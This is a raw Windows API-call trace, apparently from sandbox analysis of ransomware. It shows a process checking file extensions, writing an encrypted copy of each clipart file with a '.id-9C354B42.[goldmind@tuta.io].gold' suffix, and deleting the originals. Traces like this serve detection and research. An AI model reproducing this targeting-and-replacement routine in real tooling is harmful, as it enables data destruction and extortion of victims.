[0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString=".zip") returned 4 [0109.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.044] lstrlenW (lpString=".rar") returned 4 [0109.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString=".bz2") returned 4 [0109.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString=".7z") returned 3 [0109.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString=".dbf") returned 4 [0109.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString=".1cd") returned 4 [0109.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString=".jpg") returned 4 [0109.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString=".doc") returned 4 [0109.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString=".docx") returned 5 [0109.044] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.044] lstrlenW (lpString=".pdf") returned 4 [0109.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString=".xls") returned 4 [0109.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.045] lstrlenW (lpString=".xlsx") returned 5 [0109.045] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.045] lstrlenW (lpString=".ppt") returned 4 [0109.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.045] lstrlenW (lpString=".zip") returned 4 [0109.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.045] lstrlenW (lpString=".rar") returned 4 [0109.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.045] lstrlenW (lpString=".bz2") returned 4 [0109.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.045] lstrlenW (lpString=".7z") returned 3 [0109.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.045] lstrlenW (lpString=".dbf") returned 4 [0109.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.045] lstrlenW (lpString=".1cd") returned 4 [0109.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.045] lstrlenW (lpString=".jpg") returned 4 [0109.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.045] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.045] lstrlenW (lpString="J0145168.JPG") returned 12 [0109.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.046] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=33657) returned 1 [0109.046] CloseHandle (hObject=0x364) returned 1 [0109.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 0x20 [0109.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.046] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.046] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.047] GetLastError () returned 0x0 [0109.047] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x8379, lpOverlapped=0x0) returned 1 [0109.051] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x8380, lpOverlapped=0x0) returned 1 [0109.052] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.052] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.052] SetEndOfFile (hFile=0x3a0) returned 1 [0109.052] CloseHandle (hObject=0x3a0) returned 1 [0109.052] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.053] SetEndOfFile (hFile=0x364) returned 1 [0109.055] CloseHandle (hObject=0x364) returned 1 [0109.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0109.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.094] lstrlenW (lpString=".doc") returned 4 [0109.094] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.094] lstrlenW (lpString=".docx") returned 5 [0109.094] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.094] lstrlenW (lpString=".pdf") returned 4 [0109.094] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.094] lstrlenW (lpString=".xls") returned 4 [0109.094] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.094] lstrlenW (lpString=".xlsx") returned 5 [0109.094] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.094] lstrlenW (lpString=".ppt") returned 4 [0109.094] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.094] lstrlenW (lpString=".zip") returned 4 [0109.094] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.094] lstrlenW (lpString=".rar") returned 4 [0109.094] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.095] lstrlenW (lpString=".bz2") returned 4 [0109.095] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.095] lstrlenW (lpString=".7z") returned 3 [0109.095] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".dbf") returned 4 [0109.095] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".1cd") returned 4 [0109.095] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".jpg") returned 4 [0109.095] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".doc") returned 4 [0109.095] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.095] lstrlenW (lpString=".docx") returned 5 [0109.095] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.095] lstrlenW (lpString=".pdf") returned 4 [0109.095] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.095] lstrlenW (lpString=".xls") returned 4 [0109.095] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.095] lstrlenW (lpString=".xlsx") returned 5 [0109.095] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.095] lstrlenW (lpString=".ppt") returned 4 [0109.095] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".zip") returned 4 [0109.095] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.095] lstrlenW (lpString=".rar") returned 4 [0109.095] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.095] lstrlenW (lpString=".bz2") returned 4 [0109.095] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.095] lstrlenW (lpString=".7z") returned 3 [0109.095] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".dbf") returned 4 [0109.095] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".1cd") returned 4 [0109.095] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0109.095] lstrlenW (lpString=".jpg") returned 4 [0109.095] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.095] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.095] lstrlenW (lpString="J0145669.JPG") returned 12 [0109.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.096] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=31850) returned 1 [0109.096] CloseHandle (hObject=0x3b4) returned 1 [0109.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 0x20 [0109.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.096] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.097] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.098] GetLastError () returned 0x0 [0109.098] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x7c6a, lpOverlapped=0x0) returned 1 [0109.102] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7c70, lpOverlapped=0x0) returned 1 [0109.103] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.103] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.103] SetEndOfFile (hFile=0x188) returned 1 [0109.103] CloseHandle (hObject=0x188) returned 1 [0109.103] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.103] SetEndOfFile (hFile=0x3b4) returned 1 [0109.105] CloseHandle (hObject=0x3b4) returned 1 [0109.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0109.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.106] lstrlenW (lpString=".doc") returned 4 [0109.106] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.106] lstrlenW (lpString=".docx") returned 5 [0109.106] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0109.106] lstrlenW (lpString=".pdf") returned 4 [0109.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".xls") returned 4 [0109.107] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".xlsx") returned 5 [0109.107] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0109.107] lstrlenW (lpString=".ppt") returned 4 [0109.107] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".zip") returned 4 [0109.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".rar") returned 4 [0109.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".bz2") returned 4 [0109.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.107] lstrlenW (lpString=".7z") returned 3 [0109.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".dbf") returned 4 [0109.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".1cd") returned 4 [0109.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".jpg") returned 4 [0109.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".doc") returned 4 [0109.107] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.107] lstrlenW (lpString=".docx") returned 5 [0109.107] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0109.107] lstrlenW (lpString=".pdf") returned 4 [0109.107] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".xls") returned 4 [0109.107] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".xlsx") returned 5 [0109.107] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0109.107] lstrlenW (lpString=".ppt") returned 4 [0109.107] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".zip") returned 4 [0109.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".rar") returned 4 [0109.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.107] lstrlenW (lpString=".bz2") returned 4 [0109.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.107] lstrlenW (lpString=".7z") returned 3 [0109.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".dbf") returned 4 [0109.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".1cd") returned 4 [0109.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0109.107] lstrlenW (lpString=".jpg") returned 4 [0109.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.108] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.108] lstrlenW (lpString="J0145707.JPG") returned 12 [0109.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.108] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=36820) returned 1 [0109.108] CloseHandle (hObject=0x3b4) returned 1 [0109.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 0x20 [0109.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.109] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.109] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.109] GetLastError () returned 0x0 [0109.109] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x8fd4, lpOverlapped=0x0) returned 1 [0109.121] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x8fe0, lpOverlapped=0x0) returned 1 [0109.122] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.122] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.122] SetEndOfFile (hFile=0x188) returned 1 [0109.122] CloseHandle (hObject=0x188) returned 1 [0109.122] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.122] SetEndOfFile (hFile=0x3b4) returned 1 [0109.124] CloseHandle (hObject=0x3b4) returned 1 [0109.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0109.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.125] lstrlenW (lpString=".doc") returned 4 [0109.125] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.125] lstrlenW (lpString=".docx") returned 5 [0109.125] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0109.125] lstrlenW (lpString=".pdf") returned 4 [0109.125] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.125] lstrlenW (lpString=".xls") returned 4 [0109.125] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.125] lstrlenW (lpString=".xlsx") returned 5 [0109.125] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0109.125] lstrlenW (lpString=".ppt") returned 4 [0109.125] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.125] lstrlenW (lpString=".zip") returned 4 [0109.125] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.125] lstrlenW (lpString=".rar") returned 4 [0109.125] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.125] lstrlenW (lpString=".bz2") returned 4 [0109.125] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.125] lstrlenW (lpString=".7z") returned 3 [0109.125] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.125] lstrlenW (lpString=".dbf") returned 4 [0109.125] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.125] lstrlenW (lpString="C:\\Program Files\\Microsoft 